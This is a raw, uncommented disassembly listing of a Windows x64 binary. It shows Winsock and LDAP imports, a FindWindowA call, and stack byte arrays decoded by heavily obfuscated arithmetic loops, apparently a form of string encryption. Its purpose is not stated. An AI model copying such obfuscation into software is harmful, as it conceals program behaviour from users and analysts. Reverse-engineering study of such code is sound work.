jmp 0x1400be392
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
jmp 0x1400be390
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400be380
lea rdx, [rbp + 0x17ffe40]
jmp 0x1400bee56
lea rdx, [rbp + 0x1794ba0]
jmp 0x1400bee56
lea rdx, [rbp + 0x1c0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x1402cd960], rax
call fcn.1400a9b60
mov rcx, qword [0x1402cd9e0]
call fcn.140053110
test al, al
jne 0x1400bfb8e
mov byte [rbp + 0x460], __WSAFDIsSet
mov byte [rbp + 0x461], Ordinal_143
mov byte [rbp + 0x462], 0xf3
mov byte [rbp + 0x463], 0xff
mov byte [rbp + 0x464], 0xf5
mov byte [rbp + 0x465], 0xf5
mov byte [rbp + 0x466], 0x46
mov byte [rbp + 0x467], 0xeb
mov byte [rbp + 0x468], 0xf7
mov byte [rbp + 0x469], 0x45
mov byte [rbp + 0x46a], 0xfb
mov byte [rbp + 0x46b], 0xf1
mov byte [rbp + 0x46c], 0xf9
mov byte [rbp + 0x46d], 0xed
mov byte [rbp + 0x46e], 0x87
mov byte [rbp + 0x46f], 0xfe
mov byte [rbp + 0x470], 0x88
mov byte [rbp + 0x471], 0x84
mov byte [rbp + 0x472], 0x9c
mov byte [rbp + 0x473], 0x86
mov byte [rbp + 0x474], gethostname
mov byte [rbp + 0x475], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x476], Ordinal_143
mov byte [rbp + 0x477], 0x85
mov byte [rbp + 0x478], 0x88
mov byte [rbp + 0x479], 0x88
mov byte [rbp + 0x47a], 0x9c
mov byte [rbp + 0x47b], Ordinal_41
mov byte [rbp + 0x47c], reloc.WS2_32.dll_recv
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x47d], xmm0
mov dword [rbp + 0x48d], eax
mov word [rbp + 0x491], ax
movabs r14, 0x6bc4c26ca8b8d1b2
movabs r13, 0xf26150f89d0dbbde
movabs r12, 0x1ad7cc1f4b9c187a
movabs r15, 0x434e4745fa2a7516
movzx r11d, byte [rsp + 0x30]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400bfb76
movzx ebx, byte [rbp + rdi + 0x460]
mov esi, ebx
cmp r8, rdi
ja 0x1400bfb5e
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400befe6
lea rcx, [rdi + r14]
movzx eax, sil
and al, cl
mov r11d, reloc.WS2_32.dll_recvfrom
sub r11b, al
add r11b, r11b
add r11b, bl
add r11b, cl
jmp 0x1400bf02c
je 0x1400bfadc
inc rax
cmp r8, rax
je 0x1400bfa82
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400bfa39
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bf9e6
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bf9c7
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400bf985
movzx r10d, dil
cmp r9, rdi
ja 0x1400bfb46
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x1400bf059
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
jmp 0x1400bf090
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400bf969
cmp r8, rcx
je 0x1400bf94f
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400bf92f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400bf8fe
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400bf605
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400bf5eb
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400bf5c6
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400bf5a0
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400bf581
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400bf565
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400bf549
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400bf52a
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400bf50a
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400bf4dd
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400bf0a0
lea r8, [r9 + 5]
lea r9, [r8 + 0x41]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400bfb26
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400bfb0b
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x1400bf295
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400bf276
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400bf257
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400bf48e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400bf448
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400bf409
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400bf3e2
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400bf0a0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400bf3b1
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400bf391
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400bf373
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400bf358
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400bf338
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400bf31a
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400bf2f9
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400bf2d0
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400bf2b1
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400bf0a0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 4]
jmp 0x1400bf0a0
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf090
lea edx, [r10 + 0x42]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf030
sub r10b, 0x22
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x12
jmp 0x1400befb6
lea edx, [r10 - 0x30]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf99e
add r10b, 0x6c
movzx eax, bl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400befa2
add r10b, 8
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x38
dec rdi
inc rdi
jmp 0x1400befa2
lea edx, [r10 - 0x5c]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x7c
add r11b, dl
jmp 0x1400bf9ff
add r10b, 0x40
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400bfa1d
sub r10b, 0x24
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 4
jmp 0x1400bfa20
lea edx, [r10 + 0x78]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x48
add r11b, dl
jmp 0x1400bfa55
add r10b, 0x14
movzx eax, bl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400bfa9a
sub r10b, 0x50
movzx eax, bl
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x460]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400befa2
add r10b, 0x36
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7a
mov byte [rbp + rdi + 0x460], r11b
inc rdi
jmp 0x1400befa2
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x40
jb 0x1400bf3f9
lea edx, [r10 - 0x14]
movzx eax, bl
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400bf99e
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
cmp r8, 0x3e8
jae 0x1400bf8c1
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400bf7ff
lea ecx, [r10 + 4]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1c
jmp 0x1400bf423
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400bf8e2
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400bf737
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf45d
sub r10b, 0x64
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x44
movzx eax, byte [rbp + rdi + 0x460]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400befa2
add r10b, 0x38
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bfa9a
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfa55
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
jmp 0x1400bfa20
add r10b, 0xc
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x54
jmp 0x1400bfa1d
lea edx, [r10 - 0x58]
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf9ff
add r10b, 0x44
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400befa2
sub r10b, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
inc r9
dec rdi
inc rdi
jmp 0x1400befa2
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x1400bf99e
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400bf62d
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf4a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf663
add r10b, 0x34
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x6c
movzx eax, byte [rbp + rdi + 0x460]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400befa2
inc rax
cmp r8, rax
jne 0x1400bf68a
lea edx, [r10 - 4]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfa55
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf6af
sub r10b, 0x3c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x5c
jmp 0x1400bfa1d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bf6de
sub r10b, 0x74
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400befa2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400bf710
sub r10b, 0x10
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400befa2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400bf4a3
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x1400bf99e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf75f
lea edx, [r10 - 0x32]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf99e
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bf78a
sub r10b, 0x6a
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x1a
dec rdi
inc rdi
jmp 0x1400befa2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf7b3
add r10b, 0x5e
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bfa1d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bf7d8
sub r10b, 0x3e
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x4e
jmp 0x1400bfa20
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bf45d
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xa
jmp 0x1400bfa55
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf839
add r10b, 0x68
movzx eax, bl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x460]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400befa2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bf863
sub r10b, 0x40
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x40
dec rdi
inc rdi
jmp 0x1400befa2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf895
add r10b, 0x24
movzx eax, bl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400befa2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bf423
lea edx, [r10 - 0x78]
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf99e
lea edx, [r10 + 0x50]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x30
add r11b, bl
add r11b, dl
jmp 0x1400bf9ff
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, bl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400bfa55
add r10b, 0x1e
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x460]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400befa2
sub r10b, 0x72
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400bfa1d
lea ecx, [r10 + 0x2a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x26
jmp 0x1400bf9ff
lea edx, [r10 - 2]
movzx eax, dl
and al, bl
mov ecx, 7
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bf99e
movzx r10d, dil
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
sub r10b, 0x62
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0x52
add bl, r10b
mov byte [rbp + rdi + 0x460], bl
inc r9
dec rdi
inc rdi
jmp 0x1400befa2
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
dec rdi
inc rdi
jmp 0x1400befa2
movzx r10d, dil
lea ecx, [r10 + 0xa]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
add r10b, 2
movzx eax, bl
and al, r10b
add al, al
sub bl, al
sub bl, 0xe
add bl, r11b
add bl, r10b
mov byte [rbp + rdi + 0x460], bl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400befa2
lea rcx, [rdi + r13]
and sil, cl
add sil, sil
movzx r11d, bl
sub r11b, sil
sub r11b, 0x12
add r11b, cl
movzx r10d, dil
add r10b, 0x66
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, bl
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x460], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400bfa9a
lea rcx, [rdi + r12]
and sil, cl
add sil, sil
movzx r11d, bl
sub r11b, sil
sub r11b, 0x56
add r11b, cl
lea edx, [rdi + 0x18]
movzx eax, bl
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x460], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x460]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400befa2
lea rcx, [rdi + r15]
and sil, cl
mov eax, 0x33
sub al, sil
lea r11d, [rax + rax]
add r11b, bl
add r11b, cl
movzx eax, byte [rbp + rdi + 0x460]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400befa2
add r10b, 0x7a
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x56
jmp 0x1400befa0
add r10b, 0x16
movzx eax, bl
and al, r10b
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x1400bef90
lea rdx, [rbp + 0x16ce7f8]
mov rcx, qword [0x1402cdcd0]
call fcn.1400cc620
jmp 0x1400c87a0
lea rdx, [rbp + 0xe5b9aa]
mov rcx, qword [0x1402cdcd0]
call fcn.1400cc620
jmp 0x1400c87a0
lea rdx, [rbp + 0x460]
mov rcx, qword [0x1402cdcd0]
call fcn.1400cc620
jmp 0x1400c87a0
lea rdx, [0x1402c79f8]
lea rcx, [rbp + 0xb8]
call fcn.1400027d0
mov rdi, rax
mov qword [rsp + 0x40], rax
mov r8, rax
lea rdx, [rbp - 0x58]
mov rcx, qword [0x1402cdcc8]
call fcn.140060ee0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002a20
lea rcx, [rbx + 0x30]
call fcn.1400601b0
movzx ecx, byte [rax]
mov byte [0x1402c987b], cl
lea rdx, [0x1402c78d8]
lea rcx, [rbp + 0xd8]
call fcn.1400027d0
mov rbx, rax
mov qword [rsp + 0x40], rax
mov r8, rax
lea rdx, [rbp - 0x48]
mov rcx, qword [0x1402cdcc8]
call fcn.140060ee0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002a20
cmp byte [rdi + 0x38], 0
jne 0x1400cc4d4
mov eax, dword [rdi + 0x30]
mov dword [0x1402793a8], eax
lea rdx, [0x1402c7a98]
lea rcx, [rbp - 0x28]
call fcn.1400027d0
mov rdi, rax
mov qword [rsp + 0x40], rax
mov r8, rax
lea rdx, [rbp - 0x38]
mov rcx, qword [0x1402cdcc8]
call fcn.140060ee0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002a20
lea rcx, [rbx + 0x30]
call fcn.1400601b0
movzx ecx, byte [rax]
mov byte [0x1402c987a], cl
mov byte [0x1402c987c], 1
mov byte [rbp + 0x620], WSASetLastError
mov byte [rbp + 0x621], 0x79
mov byte [rbp + 0x622], 0x78
mov byte [rbp + 0x623], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x624], 0x7f
mov byte [rbp + 0x625], 0x47
mov byte [rbp + 0x626], 0xb1
mov byte [rbp + 0x627], 0xbe
mov byte [rbp + 0x628], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x629], 0x62
mov byte [rbp + 0x62a], 0x75
mov byte [rbp + 0x62b], 0xb9
mov byte [rbp + 0x62c], 0x63
mov byte [rbp + 0x62d], 0x7e
mov byte [rbp + 0x62e], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x62f], 0x7f
mov byte [rbp + 0x630], WSASetLastError
mov byte [rbp + 0x631], 0x7b
mov byte [rbp + 0x632], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x633], WSASetLastError
mov byte [rbp + 0x634], 0x79
mov byte [rbp + 0x635], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x636], 0x7d
mov byte [rbp + 0x637], WSASetLastError
mov byte [rbp + 0x638], WSASetLastError
mov byte [rbp + 0x639], 0x61
mov byte [rbp + 0x63a], 0x77
mov byte [rbp + 0x63b], WSAGetLastError
mov byte [rbp + 0x63c], 0x66
mov byte [rbp + 0x63d], 0xab
mov byte [rbp + 0x63e], 0x75
mov byte [rbp + 0x63f], 0x56
mov byte [rbp + 0x640], 0x55
mov byte [rbp + 0x641], __WSAFDIsSet
mov byte [rbp + 0x642], Ordinal_79
mov byte [rbp + 0x643], 0x58
mov byte [rbp + 0x644], 0x5a
mov byte [rbp + 0x645], 0x56
mov byte [rbp + 0x646], 0x52
mov byte [rbp + 0x647], 0x58
mov byte [rbp + 0x648], 0x52
mov byte [rbp + 0x649], 0x46
mov byte [rbp + 0x64a], 0x9d
mov byte [rbp + 0x64b], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x64c], 0x45
mov byte [rbp + 0x64d], 0x99
mov byte [rbp + 0x64e], __WSAFDIsSet
mov byte [rbp + 0x64f], 0x87
mov byte [rbp + 0x650], WSACleanup
mov byte [rbp + 0x651], 0x5a
mov byte [rbp + 0x652], 0x5b
mov byte [rbp + 0x653], 0x80
mov byte [rbp + 0x654], Ordinal_143
mov byte [rbp + 0x655], 0x5e
mov byte [rbp + 0x656], Ordinal_143
mov byte [rbp + 0x657], 0x83
mov byte [rbp + 0x658], Ordinal_143
mov byte [rbp + 0x659], 0x81
mov byte [rbp + 0x65a], 0x87
mov byte [rbp + 0x65b], 0x85
mov byte [rbp + 0x65c], 0x87
mov byte [rbp + 0x65d], Ordinal_143
mov byte [rbp + 0x65e], 0x7f
mov byte [rbp + 0x65f], 0x7d
mov byte [rbp + 0x660], 0x7f
mov byte [rbp + 0x661], 0xae
mov byte [rbp + 0x662], 0x77
mov byte [rbp + 0x663], 0x79
mov byte [rbp + 0x664], 0x7c
mov byte [rbp + 0x665], 0xad
mov byte [rbp + 0x666], 0xab
mov byte [rbp + 0x667], WSACleanup
mov byte [rbp + 0x668], Ordinal_143
mov byte [rbp + 0x669], Ordinal_143
mov byte [rbp + 0x66a], 0xa1
mov byte [rbp + 0x66b], 0xa7
mov byte [rbp + 0x66c], 0xa1
mov byte [rbp + 0x66d], 0x76
mov byte [rbp + 0x66e], 0xa4
mov byte [rbp + 0x66f], 0x66
mov byte [rbp + 0x670], 0xa5
mov byte [rbp + 0x671], 0xba
mov byte [rbp + 0x672], 0xa3
mov byte [rbp + 0x673], 0xa1
mov byte [rbp + 0x674], 0x63
mov byte [rbp + 0x675], 0xab
mov byte [rbp + 0x676], 0x63
mov byte [rbp + 0x677], 0xb4
mov byte [rbp + 0x678], 0x64
mov byte [rbp + 0x679], 0x66
mov byte [rbp + 0x67a], 0x66
mov byte [rbp + 0x67b], 0xb1
mov byte [rbp + 0x67c], 0xb7
mov byte [rbp + 0x67d], 0x64
mov byte [rbp + 0x67e], 0xb6
mov byte [rbp + 0x67f], 0x54
mov byte [rbp + 0x680], Ordinal_143
mov byte [rbp + 0x681], 0x5f
mov byte [rbp + 0x682], 0x5d
mov byte [rbp + 0x683], 0x5c
mov byte [rbp + 0x684], 0x51
mov byte [rbp + 0x685], 0x5d
mov byte [rbp + 0x686], 0xa7
mov byte [rbp + 0x687], 0x83
mov byte [rbp + 0x688], 0x55
mov byte [rbp + 0x689], 0x5e
mov byte [rbp + 0x68a], 0x54
mov byte [rbp + 0x68b], 0x81
mov byte [rbp + 0x68c], 0x87
mov byte [rbp + 0x68d], 0x54
mov byte [rbp + 0x68e], 0x5b
mov byte [rbp + 0x68f], 0x99
mov byte [rbp + 0x690], 0x9c
mov byte [rbp + 0x691], 0x48
mov byte [rbp + 0x692], Ordinal_79
mov byte [rbp + 0x693], 0xb4
mov byte [rbp + 0x694], 0x9f
mov byte [rbp + 0x695], 0xb6
mov byte [rbp + 0x696], Ordinal_79
mov byte [rbp + 0x697], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x698], 0x42
mov byte [rbp + 0x699], 0xba
mov byte [rbp + 0x69a], 0x40
mov byte [rbp + 0x69b], 0x7b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x69c], xmm0
mov dword [rbp + 0x6ac], eax
mov word [rbp + 0x6b0], ax
mov byte [rbp + 0x6b2], al
movabs rsi, 0xce36e54f3624c5c1
movabs r14, 0x3fee0fc8e74af3c9
movabs r13, 0xa380452a7b016847
movabs r12, 0x7127a8c0eb7dcc5
movabs r15, 0x6aa4afeda26e5143
movzx r11d, byte [rsp + 0x30]
nop
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor edi, edi
cmp rdi, 0x93
jae 0x1400c0ac2
movzx ebx, byte [rbp + rdi + 0x620]
mov edx, ebx
nop dword [rax]
cmp r8, rdi
ja 0x1400c0ab9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c008c
lea rcx, [rdi + rsi]
mov rax, rdx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rdx
add r11, rcx
sub r11b, 0x47
jmp 0x1400c00df
je 0x1400c0a50
inc rax
cmp r8, rax
je 0x1400c09f8
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c09b2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c0987
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c096e
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c092f
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c08ea
movzx r10d, dil
cmp r9, rdi
ja 0x1400c0ab0
lea rcx, [r9 + 5]
cmp r8, rcx
jae 0x1400c010c
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x2d
jmp 0x1400c0150
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c08d3
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c08b1
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c0892
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c0876
cmp r8, rcx
je 0x1400c085c
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c05f4
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c05d5
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c05b0
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c058a
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c0570
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c054d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c0531
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c0512
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c04f6
lea r8, [r9 + 0x200]
lea r9, [r8 + 5]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c0a94
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c0a78
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c02f9
lea rax, [r9 + 0x2a]
